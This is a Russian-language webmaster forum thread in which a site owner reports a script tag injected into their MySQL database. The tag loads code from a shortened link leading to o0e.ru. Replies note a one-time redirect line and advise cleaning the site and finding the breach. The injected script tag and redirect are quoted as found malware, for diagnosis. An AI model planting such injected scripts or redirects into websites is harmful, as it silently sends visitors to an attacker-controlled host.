Нашел подозрительный скрипт на своем сайте

R0
На сайте с 04.05.2011
Offline
56
1002

Здравствуйте. Может мне кто-нибудь пояснить что это за код.

Значит так в mysql базе прописали <script type="text/javascript" src="http://vk.cc/3Z9OOY"></script>, который в свою очередь ведет на http://o0e.ru/znjirZXM?p1=madeforipad&m=js, а там код:

function addEvent(element, eventName, fn) {

if(navigator.userAgent.match(/YaBrowser/i)) return false;

if (element.addEventListener)

element.addEventListener(eventName, fn, false);

else if (element.attachEvent)

element.attachEvent('on' + eventName, fn);

};

K0
На сайте с 01.09.2016
Offline
66
#1

При первой загрузке там еще внизу строчка:

window.location.href = 'http://o0e.ru/znjirZXM?p1=madeforipad&from=js';
При повторных загрузках она пропадает. :)
Muhal4
На сайте с 01.07.2008
Offline
79
#2

Скрипт проверяет из какого браузера вы пришли и что-то включает. Что именно - не поятно. В любом случае чистите свой сайт, ищите места утечки паролей или дыры через которые вам залили эти строчки. Если этого не сделать то вскоре будете вместо сайта видеть

LinkBoss.net - Трастовые ссылки для увеличения трафика в 10 раз! (http://linkboss.net/)

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий